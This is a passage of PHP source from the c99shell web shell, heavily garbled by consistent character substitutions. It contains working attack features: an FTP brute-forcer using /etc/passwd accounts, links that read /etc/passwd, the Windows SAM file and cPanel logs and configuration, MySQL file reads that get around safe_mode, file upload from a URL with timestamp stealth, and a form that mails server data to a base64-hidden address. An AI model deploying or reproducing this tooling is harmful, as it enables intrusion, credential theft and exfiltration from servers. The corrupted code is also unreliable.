i !")select' (mys2l$create$d1!)tmpd1', )select + mys2l$select$d1!)tmpd1',
)created + "")select,.
i !)select'
(
)created + alse,
mys2l$2#ery!&D?@AC@ CA<L@ \tmp$ile\ ! \Xie3ing the ile in
sae$mode-open$1asedir\ L6H;<L6< H6C HBLL ',&',
mys2l$2#ery!&L6AJ JACA FHIFL@ M&&.addslashes!)s2l$getile'.&M& FHC6 CA<L@
tmp$ile&',
)res#lt + mys2l$2#ery!&S@L@DC * I?6M tmp$ile,&',
i !")res#lt' (echo &<1:@rror in reading ile !permision denied'"</1:&,.
else
(
or !)i+0,)i<mys2l$n#m$ields!)res#lt',)i--' ()name +
mys2l$ield$name!)res#lt*)i',.
) + &&,
3hile !)ro3 + mys2l$etch$array!)res#lt* MKSAL$ASS6D'' () .+ Voin !&MrMn&*
)ro3',.
i !empty!)'' (echo &<1:Iile M&&.)s2l$getile.&M& does not e%ists or
empty"</1:<1r:&,.
else (echo &<1:Iile M&&.
)s2l$getile.&M&L</1:<1r:&.nlG1r!htmlspecialchars!)''.&<1r:&,.
mys2l$ree$res#lt!)res#lt',
mys2l$2#ery!&J?64 CA<L@ tmp$ile,&',
.
.
mys2l$drop$d1!)tmpd1', //comment it i yo# 3ant to leave data1ase
.
.
.
.
echo &</td:</tr:</ta1le:&,
i !)s2l$soc9'
(
)aected + 0mys2l$aected$ro3s!)s2l$soc9',
i !!"is$n#meric!)aected'' or !)aected < 0''()aected + 0,.
echo &<tr:<td:<center:<1:Aected ro3sL &.)aected.&</center:</td:</tr:&,
.
echo &</ta1le:&,
.
i !)act ++ &m9dir&'
(
i !)m9dir "+ )d'
(
i !ile$e%ists!)m9dir'' (echo &<1:Ma9e
Jir M&&.htmlspecialchars!)m9dir'.&M&</1:L o1Vect alredy e%ists&,.
elsei !"m9dir!)m9dir'' (echo &<1:Ma9e Jir M&&.htmlspecialchars!)m9dir'.&M&</1:L
access denied&,.
echo &<1r:<1r:&,
.
)act + )dspact + &ls&,
.
i !)act ++ &tp2#ic91r#te&'
(
echo &<1:Itp A#ic9 1r#teL</1:<1r:&,
i !"3in' (echo &Chis #nctions not 3or9 in Pindo3s"<1r:<1r:&,.
else
(
#nction c99tp1r#techec9!)host*)port*)timeo#t*)login*)pass*)sh*)21$only3ithsh'
(
i !)21$only3ithsh' ()tr#e + !"
in$array!)sh*array!&/1in/alse&*&/s1in/nologin&''',.
else ()tr#e + tr#e,.
i !)tr#e'
(
)soc9 + 0tp$connect!)host*)port*)timeo#t',
i !0tp$login!)soc9*)login*)pass''
(
echo &<a hre+M&tpL//&.)login.&L&.)pass.&0&.)host.&M&
target+M&$1lan9M&:<1:Donnected to &.)host.& 3ith login M&&.)login.&M& and pass3ord
M&&.)pass.&M&</1:</a:.<1r:&,
o1$l#sh!',
ret#rn tr#e,
.
.
.
i !"empty!)s#1mit''
(
i !"is$n#meric!)21$lenght'' ()21$lenght + )ni%p3dperpage,.
)p + open!&/etc/pass3d&*&r&',
i !")p' (echo &DanOt get /etc/pass3d or pass3ord-list.&,.
else
(
i !)21$logging'
(
i !)21$logile' ()21$logp + open!)21$logile*&3&',.
else ()21$logp + alse,.
)21$log + &IC4 A#ic9 <r#te !called c99shell v. &.)shver.&' started at
&.date!&d.m.K 5LiLs&'.&MrMnMrMn&,
i !)21$logile' (3rite!)21$logp*)21$log*strlen!)21$log'',.
.
o1$l#sh!',
)i + )s#ccess + 0,
)tp2#ic9$st + getmicrotime!',
3hile!"eo!)p''
(
)str + e%plode!&L&*gets!)p*G0UQ'',
i !c99tp1r#techec9!&localhost&*G1*1*)str=0>*)str=0>*)str=N>*
)21$only3ithsh''
(
echo &<1:Donnected to &.)S@?X@?$HAM@.& 3ith login M&&.)str=0>.&M& and
pass3ord M&&.)str=0>.&M&</1:<1r:&,
)21$log .+ &Donnected to &.)S@?X@?$HAM@.& 3ith login M&&.)str=0>.&M& and
pass3ord M&&.)str=0>.&M&* at &.date!&d.m.K 5LiLs&'.&MrMn&,
i !)21$logp' (see9!)21$logp*0', 3rite!)21$logp*
)21$log*strlen!)21$log'',.
)s#ccess--,
o1$l#sh!',
.
i !)i : )21$lenght' (1rea9,.
)i--,
.
i !)s#ccess ++ 0' (echo &Ho s#ccess. connections"&, )21$log .+ &Ho s#ccess.
connections"MrMn&,.
)tp2#ic9$t + ro#nd!getmicrotime!'-)tp2#ic9$st*U',
echo &<hr siWe+M&1M& noshade:<1:Jone"</1:<1r:Cotal time !secs.'L &.
)tp2#ic9$t.&<1r:Cotal connectionsL &.)i.&<1r:S#ccess.L <ont
color+M&greenM&:<1:&.)s#ccess.&</1:</ont:<1r:Bns#ccess.L&.!)i-
)s#ccess'.&</1:<1r:Donnects per secondL &.ro#nd!)i/)tp2#ic9$t*G'.&<1r:&,
)21$log .+ &MrMn------------------------------------------MrMnJone"MrMnCotal
time !secs.'L &.)tp2#ic9$t.&MrMnCotal connectionsL &.)i.&MrMnS#ccess.L &.
)s#ccess.&MrMnBns#ccess.L&.!)i-)s#ccess'.&MrMnDonnects per secondL &.ro#nd!)i/
)tp2#ic9$t*G'.&MrMn&,
i !)21$logp' (see9!)21$logp*0', 3rite!)21$logp*
)21$log*strlen!)21$log'',.
i !)21$logemail' (0mail!)21$logemail*&c99shell v. &.)shver.& report&*
)21$log',.
close!)21$logp',
.
.
else
(
)logile + )tmpdir$logs.&c99sh$tp2#ic91r#te$&.date!&d.m.K$5$i$s&'.&.log&,
)logile + str$replace!&//&*JF?@DC6?K$S@4A?AC6?*)logile',
echo &<orm method+M&46SCM&:<1r:?ead irstL <inp#t type+M&te%tM&
name+M&21$lenghtM& val#e+M&&.)ni%p3dperpage.&M&:<1r:<1r:Bsers only 3ith shell?
8n1sp,<inp#t type+M&chec91o%M& name+M&21$only3ithshM&
val#e+M&1M&:<1r:<1r:Logging?8n1sp,<inp#t type+M&chec91o%M& name+M&21$loggingM&
val#e+M&1M& chec9ed:<1r:Logging to ile?8n1sp,<inp#t type+M&te%tM&
name+M&21$logileM& val#e+M&&.)logile.&M& siWe+M&&.!strlen!)logile'
-G*!strlen!)logile'/10''.&M&:<1r:Logging to e-mail?8n1sp,<inp#t type+M&te%tM&
name+M&21$logemailM& val#e+M&&.)log$email.&M& siWe+M&&.!strlen!)logemail'
-G*!strlen!)logemail'/10''.&M&:<1r:<1r:<inp#t type+M&s#1mitM& name+M&s#1mitM&
val#e+M&<r#teM&:</orm:&,
.
.
.
i !)act ++ &d&'
(
i !"is$dir!)d'' (echo &<center:<1:4ermision denied"</1:</center:&,.
else
(
echo &<1:Jirectory inormationL</1:<ta1le 1order+0 cellspacing+1
cellpadding+G:&,
i !")3in'
(
echo &<tr:<td:<1:63ner/;ro#p</1:</td:<td: &,
)tmp + posi%$getp3#id!ileo3ner!)d'',
i !)tmp=&name&> ++ &&' (echo ileo3ner!)d'.&/&,.
else (echo )tmp=&name&>.&/&,.
)tmp + posi%$getgrgid!ilegro#p!)d'',
i !)tmp=&name&> ++ &&' (echo ilegro#p!)d',.
else (echo )tmp=&name&>,.
.
echo &<tr:<td:<1:4erms</1:</td:<td:<a hre+M&&.
)s#rl.&act+chmod8d+&.#rlencode!)d'.&M&:<1:&.vie3$perms$color!)d'.&</1:</a:<tr:<td:
<1:Dreate time</1:</td:<td: &.date!&d/m/K
5LiLs&*ilectime!)d''.&</td:</tr:<tr:<td:<1:Access time</1:</td:<td: &.date!&d/m/K
5LiLs&*ileatime!)d''.&</td:</tr:<tr:<td:<1:M6JFIK time</1:</td:<td: &.date!&d/m/K
5LiLs&*ilemtime!)d''.&</td:</tr:</ta1le:<1r:&,
.
.
i !)act ++ &phpino&' (0o1$clean!', phpino!', e%it,.
i !)act ++ &sec#rity&'
(
echo &<center:<1:Server sec#rity inormationL</1:</center:<1:Sot3areL</1:
&.454$6S.&* &.)S@?X@?$S6ICPA?@.&<1r:<1:Sae-ModeL &.)hsaemode.&</1:<1r:<1:6pen
1ase dirL &.)hopen1asedir.&</1:<1r:&,
i !")3in'
(
i !)ni%pass3d'
(
i !)ni%pass3d ++ 1' ()ni%pass3d + 0,.
echo &<1:*ni% /etc/pass3dL</1:<1r:&,
i !"is$n#meric!)ni%p3d$s'' ()ni%p3d$s + 0,.
i !"is$n#meric!)ni%p3d$e'' ()ni%p3d$e + )ni%p3dperpage,.
echo &<orm method+M&;@CM&:<inp#t type+M&hiddenM& name+M&actM&
val#e+M&sec#rityM&:<inp#t type+M&hiddenM& name+M&ni%pass3dM&
val#e+M&1M&:<1:IromL</1:8n1sp,<inp#t type+M&te%t+M& name+M&ni%p3d$sM& val#e+M&&.
)ni%p3d$s.&M&:8n1sp,<1:CoL</1:8n1sp,<inp#t type+M&te%tM& name+M&ni%p3d$eM&
val#e+M&&.)ni%p3d$e.&M&:8n1sp,<inp#t type+M&s#1mitM& val#e+M&Xie3M&:</orm:<1r:&,
)i + )ni%p3d$s,
3hile !)i < )ni%p3d$e'
(
)#id + posi%$getp3#id!)i',
i !)#id'
(
)#id=&dir&> + &<a hre+M&&.)s#rl.&act+ls8d+&.#rlencode!)#id=&dir&>'.&M&:&.
)#id=&dir&>.&</a:&,
echo Voin!&L&*)#id'.&<1r:&,
.
)i--,
.
.
else (echo &<1r:<a hre+M&&.)s#rl.&act+sec#rity8ni%pass3d+18d+&.
)#d.&M&:<1:<#:;et /etc/pass3d</#:</1:</a:<1r:&,.
.
else
(
)v + )$S@?X@?=&PFHJF?&>.&MrepairMsam&,
i !ile$get$contents!)v'' (echo &<1:<ont color+M&redM&:Ko# canOt crac9 3innt
pass3ords!&.)v.&' </ont:</1:<1r:&,.
else (echo &<1:<ont color+M&greenM&:Ko# can crac9 3innt pass3ords. <a hre+M&&.
)s#rl.&act+8+sam8d+&.
)$S@?X@?=&PFHJF?&>.&MMrepair8t+do3nloadM&:<#:<1:Jo3nload</1:</#:</a:* and #se
lcp.crac9- `.</ont:</1:<1r:&,.
.
i !ile$get$contents!&/etc/#serdomains&'' (echo &<1:<ont color+M&greenM&:<a
hre+M&&.)s#rl.&act+8+#serdomains8d+/etc/8t+t%tM&:<#:<1:Xie3 cpanel #ser-
domains logs</1:</#:</a:</ont:</1:<1r:&,.
i !ile$get$contents!&/var/cpanel/acco#nting.log&'' (echo &<1:<ont
color+M&greenM&:<a hre+M&&.
)s#rl.&act+8+acco#nting.log8d+/var/cpanel/8t+t%tM&:<#:<1:Xie3 cpanel
logs</1:</#:</a:</ont:</1:<1r:&,.
i !ile$get$contents!&/#sr/local/apache/con/httpd.con&'' (echo &<1:<ont
color+M&greenM&:<a hre+M&&.
)s#rl.&act+8+httpd.con8d+/#sr/local/apache/con/8t+t%tM&:<#:<1:Apache
conig#ration !httpd.con'</1:</#:</a:</ont:</1:<1r:&,.
i !ile$get$contents!&/etc/httpd.con&'' (echo &<1:<ont color+M&greenM&:<a
hre+M&&.)s#rl.&act+8+httpd.con8d+/etc/8t+t%tM&:<#:<1:Apache conig#ration
!httpd.con'</1:</#:</a:</ont:</1:<1r:&,.
.
i !)act ++ &m9ile&'
(
i !)m9ile "+ )d'
(
i !ile$e%ists!)m9ile'' (echo &<1:Ma9e
Iile M&&.htmlspecialchars!)m9ile'.&M&</1:L o1Vect alredy e%ists&,.
elsei !"open!)m9ile*&3&'' (echo &<1:Ma9e
Iile M&&.htmlspecialchars!)m9ile'.&M&</1:L access denied&,.
else ()act + &&, )d + dirname!)m9ile', i !s#1str!)d*-1*1' "+
JF?@DC6?K$S@4A?AC6?' ()d .+ JF?@DC6?K$S@4A?AC6?,. ) + 1asename!)m9ile',.
.
else ()act + )dspact + &ls&,.
.
i !)act ++ &encoder&'
(
echo &<script:#nction set$encoder$inp#t!te%t'
(doc#ment.orms.encoder.inp#t.val#e +
te%t,.</script:<center:<1:@ncoderL</1:</center:<orm name+M&encoderM&
method+M&46SCM&:<1:Fnp#tL</1:<center:<te%tarea name+M&encoder$inp#tM& id+M&inp#tM&
cols+/0 ro3s+/:&.0htmlspecialchars!)encoder$inp#t'.&</te%tarea:<1r:<1r:<inp#t
type+s#1mit val#e+M&calc#lateM&:<1r:<1r:</center:<1:5ashes</1:L<1r:<center:&,
oreach!array!&md/&*&crypt&*&sha1&*&crc7G&' as )v'
(
echo )v.& - <inp#t type+te%t siWe+/0 onIoc#s+M&this.select!'M&
onMo#seover+M&this.select!'M& onMo#seo#t+M&this.select!'M& val#e+M&&.
)v!)encoder$inp#t'.&M& readonly:<1r:&,
.
echo &</center:<1:BrlL</1:<center:<1r:#rlencode - <inp#t type+te%t siWe+7/
onIoc#s+M&this.select!'M& onMo#seover+M&this.select!'M&
onMo#seo#t+M&this.select!'M& val#e+M&&.#rlencode!)encoder$inp#t'.&M& readonly:
<1r:#rldecode - <inp#t type+te%t siWe+7/ onIoc#s+M&this.select!'M&
onMo#seover+M&this.select!'M& onMo#seo#t+M&this.select!'M&
val#e+M&&.#rldecode!)encoder$inp#t'.&M& readonly:
<1r:</center:<1:<aseNUL</1:<center:1aseNU$encode - <inp#t type+te%t siWe+7/
onIoc#s+M&this.select!'M& onMo#seover+M&this.select!'M&
onMo#seo#t+M&this.select!'M& val#e+M&&.1aseNU$encode!)encoder$inp#t'.&M&
readonly:</center:&,
echo &<center:1aseNU$decode - &,
i !1aseNU$encode!1aseNU$decode!)encoder$inp#t'' "+ )encoder$inp#t' (echo &<inp#t
type+te%t siWe+7/ val#e+M&ailedM& disa1led readonly:&,.
else
(
)de1aseNU + 1aseNU$decode!)encoder$inp#t',
)de1aseNU + str$replace!&M0&*&=0>&*)de1aseNU',
)a + e%plode!&MrMn&*)de1aseNU',
)ro3s + co#nt!)a',
)de1aseNU + htmlspecialchars!)de1aseNU',
i !)ro3s ++ 1' (echo &<inp#t type+te%t siWe+7/ onIoc#s+M&this.select!'M&
onMo#seover+M&this.select!'M& onMo#seo#t+M&this.select!'M& val#e+M&&.)de1aseNU.&M&
id+M&de1aseNUM& readonly:&,.
else ()ro3s--, echo &<te%tarea cols+M&U0M& ro3s+M&&.)ro3s.&M&
onIoc#s+M&this.select!'M& onMo#seover+M&this.select!'M&
onMo#seo#t+M&this.select!'M& id+M&de1aseNUM& readonly:&.)de1aseNU.&</te%tarea:&,.
echo &8n1sp,<a hre+M&ZM&
onclic9+M&set$encoder$inp#t!doc#ment.orms.encoder.de1aseNU.val#e'M&:<1:[</1:</a:&
,
.
echo &</center:<1r:<1:<ase convertations</1:L<center:decGhe% - <inp#t type+te%t
siWe+7/ onIoc#s+M&this.select!'M& onMo#seover+M&this.select!'M&
onMo#seo#t+M&this.select!'M& val#e+M&&,
)c + strlen!)encoder$inp#t',
or!)i+0,)i<)c,)i--'
(
)he% + deche%!ord!)encoder$inp#t=)i>'',
i !)encoder$inp#t=)i> ++ &8&' (echo )encoder$inp#t=)i>,.
elsei !)encoder$inp#t=)i> "+ &MM&' (echo &T&.)he%,.
.
echo &M& readonly:<1r:</center:</orm:&,
.
i !)act ++ &s1#&'
(
)arr$copy + )sess$data=&copy&>,
)arr$c#t + )sess$data=&c#t&>,
)arr + array$merge!)arr$copy*)arr$c#t',
i !co#nt!)arr' ++ 0' (echo &<center:<1:<#er is empty"</1:</center:&,.
else (echo &<1:Iile-System 1#er</1:<1r:<1r:&, )ls$arr + )arr, )disp$#llpath +
tr#e, )act + &ls&,.
.
i !)act ++ &selremove&'
(
i !!)s#1mit ++ )rndcode' and !)s#1mit "+ &&''
(
i !#nlin9!$$IFL@$$'' (0o1$clean!', echo &Chan9s or #sing c99shell v.&.
)shver.&"&, e%it, .
else (echo &<center:<1:DanOt delete &.$$IFL@$$.&"</1:</center:&,.
.
else
(
i !"empty!)rndcode'' (echo &<1:@rrorL incorrect conimation"</1:&,.
)rnd + rand!0*9'.rand!0*9'.rand!0*9',
echo &<orm method+M&46SCM&:<1:Sel-removeL &.$$IFL@$$.& <1r:<1:Are yo# s#re?
<1r:Ior conirmation* enter M&&.)rnd.&M&</1:L8n1sp,<inp#t type+M&hiddenM&
name+M&rndcodeM& val#e+M&&.)rnd.&M&:<inp#t type+M&te%tM&
name+M&s#1mitM&:8n1sp,<inp#t type+M&s#1mitM& val#e+M&K@SM&:</orm:&,
.
.
i !)act ++ &eed1ac9&'
(
)s#ppmail + 1aseNU$decode!&KW9/cGhl1;%AaP/i17g#cnB+&',
i !"empty!)s#1mit''
(
)tic9et + s#1str!md/!microtime!'-rand!1*1000''*0*N',
)1ody + &c99shell v.&.)shver.& eed1ac9 Z&.)tic9et.&MnHameL
&.htmlspecialchars!)d19$name'.&Mn@-mailL
&.htmlspecialchars!)d19$email'.&MnMessageLMn&.htmlspecialchars!)d19$1ody'.&MnMnF
4L &.)?@M6C@$AJJ?,
i !"empty!)d19$re''
(
)tmp + 0o1$get$contents!',
o1$clean!',
phpino!',
)phpino + 1aseNU$encode!o1$get$contents!'',
o1$clean!',
echo )tmp,
)1ody .+ &Mn&.&phpino!'L &.)phpino.&Mn&.&M
);L6<ALS+&.1aseNU$encode!serialiWe!);L6<ALS''.&Mn&,
.
mail!)s#ppmail*&c99shell v.&.)shver.& eed1ac9 Z&.)tic9et*)1ody*&I?6ML &.
)s#ppmail',
echo &<center:<1:Chan9s or yo#r eed1ac9" Ko#r tic9et FJL &.
)tic9et.&.</1:</center:&,
.
else (echo &<orm method+M&46SCM&:<1:Ieed1ac9 or report 1#g
!&.str$replace!array!&0&*&.&'*array!&=at>&*&=dot>&'*)s#ppmail'.&'L<1r:<1r:Ko#r
nameL <inp#t type+M&te%tM& name+M&d19$nameM&
val#e+M&&.htmlspecialchars!)d19$name'.&M&:<1r:<1r:Ko#r e-mailL <inp#t
type+M&te%tM& name+M&d19$emailM&
val#e+M&&.htmlspecialchars!)d19$email'.&M&:<1r:<1r:MessageL<1r:<te%tarea
name+M&d19$1odyM& cols+Q0
ro3s+10:&.htmlspecialchars!)d19$1ody'.&</te%tarea:<inp#t type+M&hiddenM&
name+M&d19$reM& val#e+M&&.#rlencode!)5CC4$?@I@?@?'.&M&:<1r:<1r:Attach server-
ino * <inp#t type+M&chec91o%M& name+M&d19$servinM& val#e+M&1M&
chec9ed:<1r:<1r:Chere are no chec9ing in the orm.<1r:<1r:* - strongly
recommended* i yo# report 1#g* 1eca#se 3e need it or 1#g-i%.<1r:<1r:Pe
#nderstand lang#agesL @nglish* ?#ssian.<1r:<1r:<inp#t type+M&s#1mitM&
name+M&s#1mitM& val#e+M&SendM&:</orm:&,.
.
i !)act ++ &search&'
(
echo &<1:Search in ile-systemL</1:<1r:&,
i !empty!)search$in'' ()search$in + )d,.
i !empty!)search$name'' ()search$name + &!.*'&, )search$name$rege%p + 1,.
i !empty!)search$te%t$33o'' ()search$te%t$rege%p + 0,.
i !"empty!)s#1mit''
(
)o#nd + array!',
)o#nd$d + 0,
)o#nd$ + 0,
)search$i$ + 0,
)search$i$d + 0,
)a + array
!
&name&+:)search$name* &name$rege%p&+:)search$name$rege%p*
&te%t&+:)search$te%t* &te%t$rege%p&+:)search$te%t$reg%p*
&te%t$33o&+:)search$te%t$33o*
&te%t$cs&+:)search$te%t$cs*
&te%t$not&+:)search$te%t$not
',
)searchtime + getmicrotime!',
)in + array$#ni2#e!e%plode!&,&*)search$in'',
oreach!)in as )v' (c99search!)v',.
)searchtime + ro#nd!getmicrotime!'-)searchtime*U',
i !co#nt!)o#nd' ++ 0' (echo &<1:Ho iles o#nd"</1:&,.
else
(
)ls$arr + )o#nd,
)disp$#llpath + tr#e,
)act + &ls&,
.
.
echo &<orm method+M&46SCM&:
<inp#t type+M&hiddenM& name+M&dM& val#e+M&&.)dispd.&M&:<inp#t type+M&hiddenM&
name+M&actM& val#e+M&&.)dspact.&M&:
<1:Search or !ile/directory name'L </1:<inp#t type+M&te%tM& name+M&search$nameM&
siWe+M&&.ro#nd!strlen!)search$name'-G/'.&M&
val#e+M&&.htmlspecialchars!)search$name'.&M&:8n1sp,<inp#t type+M&chec91o%M&
name+M&search$name$rege%pM& val#e+M&1M& &.gchds!)search$name$rege%p*1*&
chec9ed&'.&: - rege%p
<1r:<1:Search in !e%plode M&,M&'L </1:<inp#t type+M&te%tM& name+M&search$inM&
siWe+M&&.ro#nd!strlen!)search$in'-G/'.&M&
val#e+M&&.htmlspecialchars!)search$in'.&M&:
<1r:<1r:<1:Ce%tL</1:<1r:<te%tarea name+M&search$te%tM& cols+M&1GGM&
ro3s+M&10M&:&.htmlspecialchars!)search$te%t'.&</te%tarea:
<1r:<1r:<inp#t type+M&chec91o%M& name+M&search$te%t$rege%pM& val#e+M&1M&
&.gchds!)search$te%t$rege%p*1*& chec9ed&'.&: - rege%p
8n1sp,8n1sp,<inp#t type+M&chec91o%M& name+M&search$te%t$33oM& val#e+M&1M&
&.gchds!)search$te%t$33o*1*& chec9ed&'.&: - <#:3</#:hole 3ords only
8n1sp,8n1sp,<inp#t type+M&chec91o%M& name+M&search$te%t$csM& val#e+M&1M&
&.gchds!)search$te%t$cs*1*& chec9ed&'.&: - cas<#:e</#: sensitive
8n1sp,8n1sp,<inp#t type+M&chec91o%M& name+M&search$te%t$notM& val#e+M&1M&
&.gchds!)search$te%t$not*1*& chec9ed&'.&: - ind iles <#:H6C</#: containing the
te%t
<1r:<1r:<inp#t type+M&s#1mitM& name+M&s#1mitM& val#e+M&SearchM&:</orm:&,
i !)act ++ &ls&' ()dspact + )act, echo &<hr siWe+M&1M& noshade:<1:Search too9 &.
)searchtime.& secs !&.)search$i$.& iles and &.)search$i$d.& directories*
&.ro#nd!!)search$i$-)search$i$d'/)searchtime*U'.& o1Vects per
second'.</1:<1r:<1r:&,.
.
i !)act ++ &chmod&'
(
)mode + ileperms!)d.)',
i !")mode' (echo &<1:Dhange ile-mode 3ith errorL</1: canOt get c#rrent
val#e.&,.
else
(
)orm + tr#e,
i !)chmod$s#1mit'
(
)octet + &0&.1ase$convert!!)chmod$o=&r&>?1L0'.!)chmod$o=&3&>?1L0'.
!)chmod$o=&%&>?1L0'.!)chmod$g=&r&>?1L0'.!)chmod$g=&3&>?1L0'.!)chmod$g=&%&>?1L0'.
!)chmod$3=&r&>?1L0'.!)chmod$3=&3&>?1L0'.!)chmod$3=&%&>?1L0'*G*Q',
i !chmod!)d.)*)octet'' ()act + &ls&, )orm + alse, )err + &&,.
else ()err + &DanOt chmod to &.)octet.&.&,.
.
i !)orm'
(
)perms + parse$perms!)mode',
echo &<1:Dhanging ile-mode !&.)d.).&'* &.vie3$perms$color!)d.)'.&
!&.s#1str!decoct!ileperms!)d.)''*-U*U'.&'</1:<1r:&.!)err?&<1:@rrorL</1: &.
)errL&&'.&<orm action+M&&.htmlspecialchars!)s#rl'.&M& method+M&46SCM&:<inp#t
type+hidden name+d val#e+M&&.htmlspecialchars!)d'.&M&:<inp#t type+hidden name+
val#e+M&&.htmlspecialchars!)'.&M&:<inp#t type+hidden name+act val#e+chmod:<ta1le
align+let 3idth+700 1order+0 cellspacing+0
cellpadding+/:<tr:<td:<1:63ner</1:<1r:<1r:<inp#t type+chec91o% HAM@+chmod$o=r>
val#e+1&.!)perms=&o&>=&r&>?& chec9ed&L&&'.&:8n1sp,?ead<1r:<inp#t type+chec91o%
name+chmod$o=3> val#e+1&.!)perms=&o&>=&3&>?& chec9ed&L&&'.&:8n1sp,Prite<1r:<inp#t
type+chec91o% HAM@+chmod$o=%> val#e+1&.!)perms=&o&>=&%&>?&
chec9ed&L&&'.&:eSec#te</td:<td:<1:;ro#p</1:<1r:<1r:<inp#t type+chec91o%
HAM@+chmod$g=r> val#e+1&.!)perms=&g&>=&r&>?& chec9ed&L&&'.&:8n1sp,?ead<1r:<inp#t
type+chec91o% HAM@+chmod$g=3> val#e+1&.!)perms=&g&>=&3&>?&
chec9ed&L&&'.&:8n1sp,Prite<1r:<inp#t type+chec91o% HAM@+chmod$g=%> val#e+1&.
!)perms=&g&>=&%&>?&
chec9ed&L&&'.&:eSec#te</ont:</td:<td:<1:Porld</1:<1r:<1r:<inp#t type+chec91o%
HAM@+chmod$3=r> val#e+1&.!)perms=&3&>=&r&>?& chec9ed&L&&'.&:8n1sp,?ead<1r:<inp#t
type+chec91o% HAM@+chmod$3=3> val#e+1&.!)perms=&3&>=&3&>?&
chec9ed&L&&'.&:8n1sp,Prite<1r:<inp#t type+chec91o% HAM@+chmod$3=%> val#e+1&.
!)perms=&3&>=&%&>?& chec9ed&L&&'.&:eSec#te</ont:</td:</tr:<tr:<td:<inp#t
type+s#1mit name+chmod$s#1mit val#e+M&SaveM&:</td:</tr:</ta1le:</orm:&,
.
.
.
i !)act ++ &#pload&'
(
)#ploadmess + &&,
)#ploadpath + str$replace!&MM&*JF?@DC6?K$S@4A?AC6?*)#ploadpath',
i !empty!)#ploadpath'' ()#ploadpath + )d,.
elsei !s#1str!)#ploadpath*-1*1' "+ &/&' ()#ploadpath .+ &/&,.
i !"empty!)s#1mit''
(
glo1al )5CC4$46SC$IFL@S,
)#ploadile + )5CC4$46SC$IFL@S=&#ploadile&>,
i !"empty!)#ploadile=&tmp$name&>''
(
i !empty!)#ploadilename'' ()destin + )#ploadile=&name&>,.
else ()destin + )#serilename,.
i !"move$#ploaded$ile!)#ploadile=&tmp$name&>*)#ploadpath.)destin''
()#ploadmess .+ &@rror #ploading ile &.)#ploadile=&name&>.& !canOt copy M&&.
)#ploadile=&tmp$name&>.&M& to M&&.)#ploadpath.)destin.&M&"<1r:&,.
.
elsei !"empty!)#pload#rl''
(
i !"empty!)#ploadilename'' ()destin + )#ploadilename,.
else
(
)destin + e%plode!&/&*)destin',
)destin + )destin=co#nt!)destin'-1>,
i !empty!)destin''
(
)i + 0,
)1 + &&,
3hile!ile$e%ists!)#ploadpath.)destin'' (i !)i : 0' ()1 + &$&.)i,. )destin +
&inde%&.)1.&.html&, )i--,..
.
i !!"eregi!&httpL//&*)#pload#rl'' and !"eregi!&httpsL//&*)#pload#rl'' and !"
eregi!&tpL//&*)#pload#rl''' (echo &<1:Fncorect #rl"</1:<1r:&,.
else
(
)st + getmicrotime!',
)content + 0ile$get$contents!)#pload#rl',
)dt + ro#nd!getmicrotime!'-)st*U',
i !")content' ()#ploadmess .+ &DanOt do3nload ile"<1r:&,.
else
(
i !)ilestealth' ()stat + stat!)#ploadpath.)destin',.
)p + open!)#ploadpath.)destin*&3&',
i !")p' ()#ploadmess .+ &@rror 3riting to ile
&.htmlspecialchars!)destin'.&"<1r:&,.
else
(
3rite!)p*)content*strlen!)content'',
close!)p',
i !)ilestealth' (to#ch!)#ploadpath.)destin*)stat=9>*)stat=Q>',.
.
.
.
.
.
i !)miniorm'
(
echo &<1:&.)#ploadmess.&</1:&,
)act + &ls&,
.
else
(
echo &<1:Iile #ploadL</1:<1r:<1:&.)#ploadmess.&</1:<orm
enctype+M&m#ltipart/orm-dataM& action+M&&.)s#rl.&act+#pload8d+&.#rlencode!)d'.&M&
method+M&46SCM&:
Select ile on yo#r local comp#terL <inp#t name+M&#ploadileM&
type+M&ileM&:<1r:8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1sp,8n1s
p,8n1sp,8n1sp,8n1sp,8n1sp,or<1r:
Fnp#t B?LL <inp#t name+M&#pload#rlM& type+M&te%tM&
val#e+M&&.htmlspecialchars!)#pload#rl'.&M& siWe+M&R0M&:<1r:<1r:
Save this ile dirL <inp#t name+M&#ploadpathM& siWe+M&R0M& val#e+M&&.
)dispd.&M&:<1r:<1r:
Iile-name !a#to-ill'L <inp#t name+#ploadilename siWe+G/:<1r:<1r:
<inp#t type+chec91o% name+#ploada#toname val#e+1 id+dU:8n1sp,convert ile name to
lovercase<1r:<1r:
<inp#t type+M&s#1mitM& name+M&s#1mitM& val#e+M&BploadM&:
</orm:&,
.
.
i !)act ++ &delete&'
(
)delerr + &&,
oreach !)act1o% as )v'
(
)res#lt + alse,
)res#lt + s$rmo1V!)v',
i !")res#lt' ()delerr .+ &DanOt delete &.htmlspecialchars!)v'.&<1r:&,.
.
i !"empty!)delerr'' (echo &<1:Jeleting 3ith errorsL</1:<1r:&.)delerr,.
)act + &ls&,
.
i !")#ses1#'
(
i !!)act ++ &paste&' or !)act ++ &copy&' or !)act ++ &c#t&' or !)act ++
&#nselect&'' (echo &<center:<1:Sorry* 1#er is disa1led. Ior ena1le* set
directive M&M)#seIS1#M& as C?B@.</center:&,.
.
else
(
i !)act ++ &copy&' ()err + &&, )sess$data=&copy&> +
array$merge!)sess$data=&copy&>*)act1o%', c99$sess$p#t!)sess$data', )act + &ls&, .
elsei !)act ++ &c#t&' ()sess$data=&c#t&> + array$merge!)sess$data=&c#t&>*
)act1o%', c99$sess$p#t!)sess$data', )act + &ls&,.
elsei !)act ++ &#nselect&' (oreach !)sess$data=&copy&> as )9+:)v' (i
!in$array!)v*)act1o%'' (#nset!)sess$data=&copy&>=)9>',.. oreach
!)sess$data=&c#t&> as )9+:)v' (i !in$array!)v*)act1o%'' (#nset!)sess$data=&c#t&>
=)9>',.. c99$sess$p#t!)sess$data', )act + &ls&,.
i !)actempty1#' ()sess$data=&copy&> + )sess$data=&c#t&> + array!',
c99$sess$p#t!)sess$data',.
elsei !)actpaste1#'
(
)psterr + &&,
oreach!)sess$data=&copy&> as )9+:)v'
(
)to + )d.1asename!)v',
i !"s$copy$o1V!)v*)to'' ()psterr .+ &DanOt copy &.)v.& to &.)to.&"<1r:&,.
i !)copy$#nset' (#nset!)sess$data=&copy&>=)9>',.
.
oreach!)sess$data=&c#t&> as )9+:)v'
(
)to + )d.1asename!)v',
i !"s$move$o1V!)v*)to'' ()psterr .+ &DanOt move &.)v.& to &.)to.&"<1r:&,.
#nset!)sess$data=&c#t&>=)9>',
.
c99$sess$p#t!)sess$data',
